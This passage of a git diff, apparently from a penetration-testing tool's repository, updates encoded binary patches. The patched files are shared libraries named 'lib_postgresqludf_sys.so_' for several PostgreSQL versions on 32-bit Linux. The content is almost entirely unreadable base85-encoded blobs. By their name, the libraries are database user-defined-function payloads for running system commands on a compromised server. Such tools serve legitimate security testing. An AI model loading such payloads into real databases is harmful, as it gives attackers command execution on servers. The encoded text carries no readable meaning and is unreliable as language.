z;ytOomgMfmsGz>bJq5oXEWHCXZ%hr(V=jCON&vR%`x7GHc1mD($;vS>8?o#ULtSWj z6f~8t^p(jQ-Ij3H)QgIqGLrc8T$7uUfib77YGfjCw)niD;|Mid2-Uvj-9M}3;Q0-M z7o+gpCp2uB;=yhL>zl$pv#xo*0 zMc6cHB?V2GNxZO~seSCo4o|YAn(r(`&1$*M(EpcHky)bZ<3~Z}%u)-Dsa42*I9Jl8 zoB-P{Cg^ohD4Pf3v#I%#j*IZW0p2{Gk`W4Q+UY%>W3J&x)CKpYMH;y6#4#-FC!PLR zc=MzwmyYnt;f#;(2k?!9S~(3aLOUn!Q}BVaVYz2J_sNS4_5Lo4 zq4S>x$emzA+;4Wk>*hTzcllTX7Sx}JifR4d$Wbob>)o8M!(jEToxm&AX2*%$xMdL; zhV8AmDrt>mq23YUuB`X@c-~7^iV!eGaOomiq-eq4~lQ-V5ahScNBk z<$rwar?caGvU-C<+YNcePF0P0N&ag5nQEp$yuPLo`gu+jMB-{LF%S z>IfL+k@1^rt}cxfIBqeTMrtR1HzqO`5u zYD`^_s!k}TgBTOgV-Z0JrQQoSxI;Ok+0SNz~kj|U1L&ks*C`AcoJ4_op12;FyoKt#N>6- z0=80Wm1t0&R9k0@-w`vJ>pd?uk!$HkMsDErHLJ?uO>;t1n}G_=BS=*nIO!Qn!zYC{ zAlypN!Rjjpu4zyRg*zXJfwGnHz4IC`hz#nb?36E@P3z|OxhRgp2<9n?oIeK#Qdi0f zw@7W*7brOJ3CtcOJew!>z`of0d#T%*RwYR7g^$D2&a*UN%$q8 zoe2qmt9CzfH(8&%bndXw3G>lJ6;}CgYsAgT0UF+kn}y9|^}qs~i-Y#_(Ull%xtg>U z1X`O|dy)Ake_}f3;MZ0-Gm&*CsEl&P-}1O5$dP)W!d7h^G&(^4JWkP zgVzGnIL_q%c>FH-1Vt+mlBWptmIpavMl^gei(R;+zyys1;*?$?rzUg#*T{3p7#iac zwqD_5Nm^{1wYAVpIW8Ho%8oY{o;Uo8fJ&O8H_-R})OGqr;JA;of#%j{Y2Wao+w+Y| zZ6UT-fm#?z{HyaBPdJQL`?9D@2xOW8P1$MYe9~P1X@E_UFV7f>bRs|{)%9Nu?Ly9VMj)@Z?pj-x70;~PRiB8_yB+tDa@M~jQ2`Q;)rs(N z&2O(A9~c%9F80cN*E+#A{)=5l^^S&ls^H>oP45BjS(WrcHzS0IeEftp@Br33jvUf; zdh8!mD#A&b;Ig;R#_-2ZuUNiQPaku4Edi6tq1mXBoy=b;^Nu82f9-N?yo&RH)f3}Wy6z^n=~P87eSt}4Ov#7gfVcxBR?o15Iqq*5yP z(vC7mU&8VKJ6^BN_mb!f@D5QzXljb(4z`;%hQ!rUn)pJWrWgc|#{*ze2S0@VX|w`e1d1*`bxf=yUJ>8WvTb$GyX4>(}=Q z5QO--`-`5uDYRg`CxA+@Ujy6YE*ak341fho?PP`I7Iv%3r!LTjqdvt{5N`?4SD&1I z)4lKb{F9~4_UoI|{=o})jqxqLG8#7!NdY#aAxFx77yNH3d@*$4AZqdjIf?*=t(xz09aumMZdL_MZh82@|z8xlrmtaDqMr9#^sKuYKp%%N~BWLe2mH literal 2639 zcmV-V3b6G((z+@r34Vfb^zl6^(>=sTN?)rZXCMX#NkV8retOT6R>!hz=jO#g0VVGB z=RgDoC3VwpV+c*JdRG)L2-~xUocYQaDu(@GMU-_ zWeg<>gHEW-@enMZB(43TKcJod!q@6i-LH$7Cr%O?;y6lm zDaZk5bIF8BNtX5xrH3OTGoyf&n z;T)8Ytij;L(14%j5&*7BFPuIGRcQmy8xCD7Wd*0d_%a{uOmA*?vFZ>JG_?I%Kzvn8 zE)koqjJ4=G@{?hM*Q&Ry2)Fk1B(u7+t~9p!X+1>l{Y|X86_eY=b=juBF5~(swM}`O+Vi{Xkjn9HOLkq~cSAkX3%Hkd8V{#S$M2 zfBiaXT_tR}X1Srrs$9|fG-|x0;?E6b;%}&%)849Kt9-2Ln`dCh<5wEks&w^F0&?7? z_N&pJF54~3kuW!2;LJ0g8;-zc`vB(fMmvSy{uCnYU%lUU zSN64Sp18mnj80A)pK$wKxQpSR;;pjXJ=KGQA{i_XZ9X=;P|>`BTbyY-kLju{+WSA= zqSB%?^0;n8q)%7j#N#Y@bl7DuEb)TuccTh_`{31wz`E*wM>t=`ojVSBh#Po zkYT#4;8|FP$*x>`&#KFNbT6&!0lFTp z&;;fn#pn(VP|e}D5u(vnH=T?w;MMQb$Pml}oF0+2ALAI|IAX_i2fIN#BwU7waa_p#EM=W9}bg!e1PoIybL#vzN4F;^- zWZsNvzf#!#a}A_1z$RhfycWy2cmO*IR~*_gd}|gC@JwwxT%aRj-fGJkS2`CAF@RjD z7lp!hG9h02>>`w7 zBmH;%`_Cl?)=6$c_3N1hOYkM>Mw|c)&aQ$P*5g*&={rvbKNVT z#!DV!Mc?+ zD_@EYc(BA3MMpH|nD=)X9F$~otF2G;<=3_(u(4Z#?NfY6HyeG;25aA!*#bMJRG-HS zfc8J(0_*Dk0NfARD?mC#k%l$KtRgpJJ``OLq*$r(!zHjb*s)L{-v(0L_|0OR8#~@2 zjC=26F?vn9ny|qcIu9g+@T)l%<`>zNX9rI$sirrTU;8I!VaEf<`&ubITe8 zbptPcfX^s8>VFt!inJw_ei=~7daf~E+DS>oBXDc131e9TW?hOhm&!ODCM ztGS;$nrg=&kO|DM9fC(iJDZmuU)u99Hb>$7xQr_kVG*wJtqc6Y{%_$R08E9`SQ8Yu z@joV-LT@lAP+G?lCtzL~HE*hywi}+qrZmmA)y*ZB-pcnqC>OrTcM<@|w4TkMr*jv@ z=&L+OC*siF6kEQS^t07D$}3+&5K61WA+w5Oh2+C|D?@_2RIg970*yN7t-(8XD{K5q zot8eF%#Bi{{o{)z=77B@O^A0bxrv&mkTFes>J|Z2=#TCr4g>n zb?!9M1n$ifoFf<;L~pozRz@~7ykm*M%AY8`fr&FpATwK^zn$Vl#M0(m z6Q#wA!LE?JQItWQ2!&haTq5St6g<$}bf6?^!eNxL6<3z{oeSQE+aBa~KWZ3-RKB51 z>6qd8gtLU~+3t#l{opoAx6~uOoA{e35_Korx?b+r5FAc7w+_X9mImINF>7RxJvo16 z;nI(z$^q!SowaG14V_9Jx^bsZfXc;|C4*cldN=<4pMtH>NNURkq^G9l^L2Mtl zs}WI<0ns{!WINVi7sXZ@>qrduZ#v3U3h-eZFb}$}_5$J?pd4ET)gwD?oK7iaDx#B( zcJ!7~6;iQ@Id340Tq{4Fv@o4AjK(lSaDvm_Omg!Uev{X*R8p}%!I}OV_!m$6| zr!`f$Yb9O|)Y8baF>PV#`UP4FTaqBb4`|5;re`O0G@3xO>Z|krkdbIJ=&P?wyJ?h0 x9!+mdc;HefNv>NY(|+U#?h4aD*_sqW3NnZUgLULW2%;Y)F;bwptX$gU@jD@0IpzQW diff --git a/data/udf/postgresql/linux/32/11/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/11/lib_postgresqludf_sys.so_ index 3b030e70b1f8815ae6b47051821a57e6e9340df7..c56d766209ac4b56a3d8ba4f6e211adb7fa60c7d 100644 GIT binary patch literal 2640 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 literal 2640 zcmV-W3a|A&(z+@r34Vfb^zl6^(>=sTN?)rZXCMX#NkV8retOT6R>!hz=jO#g0VVGB z=RgDoC3VwpV+c*JdRG)L2-~xUocYQaDu(@GMU-_ zWeg<>gHEW-@enMZB(43TKcJod!q@6i-LH$7Cr%O?;y6lm zDaZk5bIF8BNtX5xrH3OTGoyf&n z;T)8Ytij;L(14%j5&*7BFPuIGRcQmy8xCD7Wd*0d_%a{uOmA*?vFZ>JG_?I%Kzvn8 zE)koqjJ4=G@{?hM*Q&Ry2)Fk1B(u7+t~9p!X+1>l{Y|X86_eY=b=juBF5~(swM}`O+Vi{Xkjn9HOLkq~cSAkX3%Hkd8V{#S$M2 zfBiaXT_tR}X1Srrs$9|fG-|x0;?E6b;%}&%)849Kt9-2Ln`dCh<5wEks&w^F0&?7? z_N&pJF54~3kuW!2;LJ0g8;-zc`vB(fMmvSy{uCnYU%lUU zSN64Sp18mnj80A)pK$wKxQpSR;;pjXJ=KGQA{i_XZ9X=;P|>`BTbyY-kLju{+WSA= zqSB%?^0;n8q)%7j#N#Y@bl7DuEb)TuccTh_`{31wz`E*wM>t=`ojVSBh#Po zkYT#4;8|FP$*x>`&#KFNbT6&!0lFTp z&;;fn#pn(VP|e}D5u(vnH=T?w;MMQb$Pml}oF0+2ALAI|IAX_i2fIN#BwU7waa_p#EM=W9}bg!e1PoIybL#vzN4F;^- zWZsNvzf#!#a}A_1z$RhfycWy2cmO*IR~*_gd}|gC@JwwxT%aRj-fGJkS2`CAF@RjD z7lp!hG9h02>>`w7 zBmH;%`_Cl?)=6$c_3N1hOYkM>Mw|c)&aQ$P*5g*&={rvbKNVT z#!DV!Mc?+ zD_@EYc(BA3MMpH|nD=)X9F$~otF2G;<=3_(u(4Z#?NfY6HyeG;25aA!*#bMJRG-HS zfc8J(0_*Dk0NfARD?mC#k%l$KtRgpJJ``OLq*$r(!zHjb*s)L{-v(0L_|0OR8#~@2 zjC=26F?vn9ny|qcIu9g+@T)l%<`>zNX9rI$sirrTU;8I!VaEf<`&ubITe8 zbptPcfX^s8>VFt!inJw_ei=~7daf~E+DS>oBXDc131e9TW?hOhm&!ODCM ztGS;$nrg=&kO|DM9fC(iJDZmuU)u99Hb>$7xQr_kVG*wJtqc6Y{%_$R08E9`SQ8Yu z@joV-LT@lAP+G?lCtzL~HE*hywi}+qrZmmA)y*ZB-pcnqC>OrTcM<@|w4TkMr*jv@ z==Y>#?1KF@&$RiHu_13$Hbf~|HX;*T8x$&jc6>Hdv*%pCCAWZsmh9?m)acf1vqz+V z0#HOguJ1}=m0=blhUla6Ln~nWc>Zc`At+gi3ldMg0DIO>nU<82$@n_JKR<#o;Yq>C)(m0wXdHL_qr9!BQ=ntvI z@DPvM$?F&k+wg6?sfcxu`Eq~F7cLJwgd1vuMy3wo1 zfIR`R*`LOD%#$NOrCPiZ_53|~8$&!wqj)9n`*5US&x2Q;-KB7`-=3m9!$F6d^GyUw y4n6~aeOXIUM^{%RQV_&*&mrMsS((9 zw_(V+EtdKNM+xxo_jskY=zyu*iHHB+^sTteGzg?oGWH8Kc$CzAkXp_lq7YZ^QdNom zfNe6%d=Q~#X3ojJ<-u4?U|4)`yNmijSx&T!JXt~RU6KKybk*=}AHadPS#_&K-gQ8h zfOPe~=!;OjqcG}tvU6m|Tm53^;j>uP!&gb`IZ7Ba`%J+}txot)(j2xqU79hV8=!z= z{4mfp;3AZo?3=6NXSq*Bz-O2A^Z+gNIJL`i*}%%n99XG5_d+ww0QtGq_|W>au-7ojiRZW7T#zpilFQQW;V@3Mm36tC zLC&L0i-efw*(|k3?s>2MbXR&?w_vU;4#=zDg|Vq?wjfeh+m^Uchtep|5#1Va#cKI6 z%nMsX89qfkW`fpW5e#AtxZaWXwOYb#M8ji-->sl1IyEkS_o>Pf#Ih;hdb-J-G$Twk zQDK9^(&EI0YRR7+)Wf^HUcE?U4_ztPhO%KBC=Dsn(|Z8!Fg&p8mjXI}6ob4_R&yJKKBzobLJ^eHqGq7k{SJ$db0_&n2U5WJmG z$x6d=g{5f53U#@(FVm00@JqakEN7!()kX#erwj^aOrmHcp|&%GtCB@@fARYmb{*M) zQ4LSq6a12(Zc(ZLBp8dVP z=tbrwNX2Vl*GgD-X#7Kt8lO8qXeoJuF|1_K^2Ul#Pfqn6`-aRQ*e9I{H>!cVW-r}F zt%aGlN<*kD=1?2W7e9JH!nC0O-q?T&4YK(08Z&9ab&z^MN?ND1)W>-|Apf6>hxUT( zAV9vWrCx$cqLxHL^VHe`Jx!RoK}$4KNMuRD3{_6z1>h8XclQ?m<6EwO*E$e6N3Z$l zM=&2xcuB$H9Nl26!@)Qy%c~Pupr92}oZanJ5Sj;`G++|!=`h2e%*Q@^<{5@4^jQNMP z2BQTBPl$!QGE`M*&~HN#joloTxEYBqg;#!1t?qrvGx2)s=LcE{!(S8?acjS2YJzcC4D4`OL!Bx)#S|wdI)@C{tQYLP|1>280K%Dav$Q03a^JKa zrZ43ktO4uKLz*3y@-731_=UeLl?@9x*KzH;rK-!jH!_?%L~VZUQ}r#sSQ!tTb|VY3 zihiB<4qn+@}b9{rYAE6YIwA=jOp%Iv@w_76ky02pA=YyF97r%}R z38i#Ae6c(wTMU0XVX&UuA5|*jU+nsle^F%bDU-Z|hp!0T#y|F2!tqdP;kZgA5(OsF ztL%Q{#J_=*7W=$5#Y!8pnEJu`kIRf|&#$PAZw0XSpe8n&dmNLnr_%Fvr+GB##UZv8 z6N#zb==y;gx%qm7mc3c`7%b#W9UgsdJ>fiommtnsCvlR%9SGEHJE>S({1_Zo-18|< ztwM!b$>A@Im&mW+<$;|C(CnKD9loEn)1&;Lqy~%0xu{GoIdOBU14qt0WGg|!pzHe{ zA2f5UTM6UEHZ6eO*klPQ(5x}q9Si?<+)YQGm*@%@B6@;(!@J4WZtCHeBrB;**&l?w zx~B}#dA~$#_^oVK(>e7z7GB5$$5T?Z$k2P<0|AXqhPoO>z@(vGL%Op8^wA<$SC;DL z2@J;EOt6lZWd^hI458I(wJRj>}-*zEH%;qUe+7T{Pe(Ea;%(K?>S$7fB zCHP>c@YABA1iM3!i*XQ)qf)GfiHRM6-{C-UGd|zbf|*;UiWZEKkt6+e0#`!s`_e(S ziMNZ}07cymPsxgt=OR_q3|!I6#kDndr={&fWr%}E=QZro#ul2eSx=BwpEqr*Ak>Ndm(;_A8@E+Qhma_ZiShuXt{g+ A9{>OV literal 2018 zcmV<82Oao5($XY6HFlzKwS7djS7AyBS?%)(E8j4`&SCjZ@h)jZ(s?crKu8rg3=N*` z;y=e&wTo5~>qzetuNh)|)|~YWBZA%xo& zp5Q*9|HP!m{XD+sb`FQ7Ua(p^u(XnZ&Q=Y^zw0hzf@0m;0iP@2pqS_gs5iu{z$e8D z<%12Svl>dO@!E@W^O8~z(MP6ip?y$&krt0-fS%oQ*&J1Xrgod*HsYr}?G@1-Yu4vE zuEmY&UnuCiS*U)-ytcevbX|gk^A0$@enqQJ6NsOUzhpi3&bWpVp=9{wHQ-;>%Gz6% zK&w!pC*`8-nTaR7Ct+KPtVNS}Ae<|2vMhM&R;)`$@yC|@bCo_tk?QZ<+Z8~y?Nyk) zZp*S6h^3{};|aS*mRXM6TT*Kdv_X>|H0`C|{gH@DnI%I4*tdmZz4s>1Y5hA<>Tl>| z&njkdBO6OR9-{X_J_&PJyZ@}kkAKW;JmW&A@TjqUITRC2&5Xnnypjn1RlnHCHv(}7 zYebF0s>0=@Ma+&!*W!kbWSB-|cYO%?skd-WD=ZY?>0S=`$*!@I9&}-p%oruz^rcrM ze{!j)^l>v!p z=1qL&V~k+(~92hrL&Ss2LF zQY>=mDcPK+0l66~?Far2;M6{aeyI|}8+k+!_#WmPbBDQ3Vn0d1^{c}MSGIgfo!o$o z(qQN%Fy%@?_)ke9Yu$dlAi6a_5D8eL9;tPN@#nWg26Tnf`h z)up(WWk$Jq<#8teEgEz{x|D(5@!gSM4wJ>hAQorB4X|5bWnZ@8*XBeH8rqSI|JI|; z4@Iy3rhmV9n6pYki}d>=5=e>cLTU+NazRJIbaijTD&++!bk-})*?ypZuNpBJXsYPF zL=hr=LTt+#ZxT0!HN0Ff?xD2+3282YQEr!vg~+-_kRL8G#_{VoM^ zy;`qE2N??dN@=Mo$T1u!0db8-ia9cPZ5`M4V(Bxjq(yyq)p@>8)QZ9>#u!^^^x3AA zDW()sOsTkz2yt6!s83=rqSy_5-^s>xMiy+Y?J+r821TzQiF9DpgHj{frB*)h3|m|iojxsG4e-KLiWZ=bI! zCZJ_$e~Q4&io7?=zweEsyw~vXfKmehmqX!G9K{=hU-}2H_h+xM zAUW*fKFjTx6rhs;c2egE4In$>I7QEQ2(Ya28Q_m?Eodff2H=n$dq>?b9l1-Y2Uz76 zMzgK!^H7HwREW3?Ki430|8&CFm<^$QC$CyRG^ot5INET AFaQ7m diff --git a/data/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_ index 43f7cdc55d986c43302798a6de364a57a45a5c53..d734fff00ae1e9781ce2fbc18f8c39c1383f5e9d 100644 GIT binary patch literal 2016 zcmV<62Os!7s`3RLI(w5XHq|-7Alr^1LeqA}_snnO?@Ge=Z1Ru?B&6qIpLn*jFQX6N z8Y`X5y9&JGS8ExIuX^}}Be)XaK-Ew;2fgN+>`}F8Vl=LCW1-ie@F3S3{mQd~r@y!M4D@PE`W>s16@kvZ__qn-#2|kOQXFC4 zmWC+vY~F7Z88vG(;spvN96ARnp7Urb6&jHbEXt!dIJZM@C0#NEU7vWb;m~jS~rM;(F|?t!TyB z(h73oV@K?aloPzw{}9C%t$bXZD8IAMu{lVDy%`6drau%ld++&2@)t3LrS}_nTEWo# zJD}Jb`h%TebfS81793D%2}rA`*DjN9@2L{5!O{E+mcNYv&uvFSDJNT@J~#it2TrnIJl^t?eOgUZW;=G0Y*YgJ`)> z*d8uT?zJ+yyHicZt`}tQZHroGl3B}+tv}2`EoqIFEgd5pw}*ji6DKRJ#ei2aS-60`4wdVhzey80+ ztp)t*HO<*m!?I5Is?2l3KD_-VX)xv^ST>@sb@1p(vAJv}ZVY-AHSGPMU@>~+BX!P50>OCzpwvTbmF);DBwc>4*Y@dZ!}-Ds>KEtO)?168Fw- zgY(jdQKBnG=YAHMR{a3kj||mrGhTi|{~Nr=Ylexdbqdm2)}A-~^14MVH%A3F3XtRl z0fcspR9D`g#KCQ{vK<&5TljWd(-H3D$ANmH2#cr~j7{BPTS4K9!zJHkzu|O4yV)_9 zW4vzA#G!Drmb$x6g$@*^iV%5bD!zL-a@q)6dLA+rz39J(*pd0F)@12u2c}9?@DV(% zEzvQU)Wi9YJNSz_lqXhT=TqbgEv9);TBHoEEJag<-tL*RRss|iH$scJgf)v#+t^MV zM#AGBi=;e2fT$ES`4-h*L!pLn+zTJ8xYms=pf86GWnwjxQ(K^G)cL{ft+DD=QkmYb zZ)~T0G~4)!)wCtAo~~`fkp-Uo#F4*`r2@YP$U#gWg1oxuc7xExw1*AsBle`EKMVVq z#Em&Wlc8fSy7Jm`9LEx)YYf{eH#G0akcgn8qs1*KKupwxiS*fzA{& zyA6bV%DL$qT=#gohOCkNVR+DYyqH7Y^wxL9 zJm$_D&kzTiiITZ%&mC=m%=oy~f&qdgbeW4Jan#1S$r~I0#pU~s0$#Xv7cNmn#)k>Tu8(LaGVnqMo z4~uccjvNyTkRA4aQh&2!)WkZ_bWu@6* zn&94=Qy{ly-Doe4r)6IUd~{IwU-V)oLWzHJfWUD;|Du5FZ|{rmx2GWU$5+~`Ke(%D z$f#rKs1VYeBeO_2I4j<>Z#IZ6-kZ_}P yx2XTpt}-)~lH`1SIN#GAE|A7#BI~#>i7npfwd@D!Y?r}OjyEaH)x3HZ7OYk0s{Mli literal 2016 zcmV<62Os!7($XY66@G$vHS`4Y8vcMGI`dcO*vWpj>}&tUR@a^fT!h9zuzjcIEP^ua zAP$qv!z!J_cy0*ZtXsvm8J!&9IQ4NBD7g2}?{J7)SP`Ic8-ezL-zCOR{_BoKx&%52 zhr$1tj)tOGjRy=(xQUChnXJvU$C|sIq@IezHqm5Ff<20}I)vZo`<67&{snOfDm*~{ zxq~^TZ~syuBN9IY`Q6}7ZDaK(_=H(K(;p^K=_a*Gluw1z;VEy*7}2OoPilWBe(yZj zpT`H{4q+=m$`Ui2de_>4rDM%u3}g^Yx_7!vXhT*%OE*&`Ue-XZ^)o0<&42y*u1Wao z=r4TY8)wa}yB4j0{4w|>mswJrP@j_So;+F6zBoFpoEjQ61JBrI-4Yna)gSF(0&JYXE<7FscBgY}5Ne9d>2Y-2(w}!D ztSj~|YUntzd8qzHwOQ&W!hffwko#1)W9OmCkclU(C*gS0Z5;EgoT;u*s=OH~coIEIhOhvyCT{C!h-J#EM5muhwoZ#& zTvnT$`tF0eGPSx~{#1!9URLW4v~iOkG+lylsoR8Txr|Bt12GpK>n+Y~(Em{iHD{q< zUPYmClZKhD4}oAwmHNz)hG>ch>P1u*sy`r$YUZ3&tc}SFZeK;}s@#M+AjwkLHv)0T zd_;{ttCHzdMa*tc@n9v6{FXrnJOhO{+S?8@i2cA*CK=E@VWjrpwq7Na%$OwI!o z=1DP$V zQY>=Wso0$s70Deh>xaJiKkPh+CTSkS8+l9^_?{*kGY7d&Vlhd;HLIgw<^V%;pggqj zlQ8HdFojA%_o z)g|4_8py~7z>{;ukm-HGMx5LSMm6_#TNj_5Pu1p0$(cHqF42S|H=tEmRUx zlgz!!`w-+X>u|9(9&7qb!*J24!t=;kaR#7r%1u#U`7(7Ud)hRX%OG8C1Fsx`yMNoh zn`|nJSSEaV0ClmSMk&$eKYdAK=5V>>$XGL-bBt9RO>$Puq;jRDQdKWOgA5V%5!Ulu zxz^l=DS`@T$a@FORop%6wJFpRlXs5K9PcPhBuD%xC-M>_MG-fyiFtzFh zd8AjZds5HJ$KX(ah&UD?`{Vp|!r4?v1DW66PNclhr3t)g2%ukL2sg|(j8h3|Ir038uE;?7T z-N}=Etg(o->?zO1R)TAovQNMJUUxBd@UF^vRU0EfzR7~M;y9YPecd|t6W*Vz2umz3mHD!KoT zKxwuqH~Pi6?~yC7=8jC_z5tJ@$FPFEpC_>guwiXJt+}hcb)xO}j-mtXTh@hz5Dx0i z$E*Ymsf2AV!qWRwGr|M*Xf5U#4H4nU=%|5$jKDkyu7&XxAg6d9k~pxxnWn`pJ6Yqs&k-bZ)`StT8hVbK9 zT%Rd-u64@nApgM08?Pw`twf^?RZ?YSsYjhNg`~&p;euh`0{@b} zFQuV_=W9$k*{hW=XZM%w66nYL1ws=~TJLgkTM-5fgY7?z?B|fQyV}c+~t`cI8>7<*@OSYh$t zcdJn4p&0^SlRq#+ehlZ(63mpWgfNR?AzA`cm^YCx2fXS7wMwI3URYG3J#R(?`y*8X zzTKoBm}Z_*+Mo11I)d^&%F8F(yJG6MO5QGYyGYS`*Lv4PG^p}&Y8UE6^zrT3N}$L! znZe_zX$84vrAQ91h+s}qe^qVDWzlRVI;mb$uf<>${DZyORmz3$&xZlh=u*r6JeihT z@{Mij&@l7847OP+L7&!z+N!HyQ!bA<(=xRZLu9)K)lreTptaL_AsY7W$B++us#UFY y&xqdhfj1(+k;Oqz0{Yz^RrN@ diff --git a/data/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_ index 2c49149d0d5e57e9dfa5f9b4a2fbe6ebf2633cf8..da50fa8eafc60628bb5e65f2eafecae813063e33 100644 GIT binary patch literal 2020 zcmV1cA;n z_ayNPTAQ_OPFS240<>%dChsSQm1mu(#Pbj@mmQ5SuD?vF z;BE52Q)`3~>4S@?Z>o4qU^skmLyP;wn1*!oygb+w7t>6Fy!f|{hc*+laX0K|G;hUO z`5jJ zX%CnjgVvB8%Pf zOOH7CkFS990=Q0{H;U!+OZRb4z$eo1hNjRq@Qh=E^K^<7;N?=EPJ&(vV&-;4Q<6qH z+CF6?o2k1cX;4>2P*V;!m64Nqj#q#mZWEi!!vOdZ5zEmr8 z6RoxHx(%DhP1Y^r@;zS4Y0@zEnWKi@UH2rILARcFKLylHX-x{n%jr zbngcIu20|~TeQ1eQo4e!5SX#}1I{4(Y6}U}O)ge`Gk#9oyOg7W+z5LNu-+&_Bhw}U z*A_Ll9Q3VoiKmK2gTIpHcXP5GQs^%o(}lH2CKiex#%`Hp5A5qTsc0yMak zG0k6zc}*2U2I{96jnx1;cYFeh{aD42Wr|SI&c<>}`ok4aM=J!bC)?RmVC;h{n!>=4hmTkq0GN}2L?pK_$d}zGL{6$19PIF?J_*eJM$OH z(aQVwhqH5{Ba?{)$6IiU;Cpft3joK<`PS7}T>m0sDDF)4t=RY=bAAHD#;Dfkb9D2O zR;H0e;WskbcJu2U+F(Q5Wne)mOuY$6$#X3n=r}2QmzOueRE%!`oM?i?^a)44}B`>aTywF4^1T$a~L_< zldhGmg}3NCn(=*&SCyOuCRcuGgC{n&ybT+Ux+1J)hlaG3+W3rqKx***Yh9BHaFt(u zzCDdEU!aM(cK1<=f+Qnf02|eFk{~vDW=k=uq@8h`!wHba<1UY<-&AJ?lKV!B_el7q zTokLg|2#DLqZTgHIM`4y?4v;FH3Q$l)tZNm1B&5RBM_rwWsHBVa_7s3-{)E(8!idI zcI0=#u%0O;g1O*Jt%~s&ip~k`bMGh)G!bQ^S(1b08-=sY>K+c8Wc%MACm%ikV4lrt zBdC{1-UtvT`Y_fqEZyEDIIt-2^K2<`%ivwiIiW0b{tZLeLLrlZ$4_@GwMVg);-ZuP~&kHbBvbmr`{I z*x+wAnjpM`iPo&g#|h)lIw%;C$JYQF8r+(_I)g!}q34DO0Q2?snCGF{Z1v^*vzaog zIQ&^IeMOaKiB8Go@K|69xc9V4jSb010XM{;ZT-^RF^igTAzBrhrd-i&-;Um_F%VkQ z?|OSF+$zgC@iQLK53Nwfa4^x(fB|9rfHQY$n^Jh!@99RZ`;RsIWKVr8JWL^OQD2^<|nzWoOG|m8;u3iYA$~ynH0(F$!DMT2w=j*O6@>lTOhkK_ZCPf;()_{b}xT#LYiOnvJqDP59>!4)o0CHd7Yh7Df+ 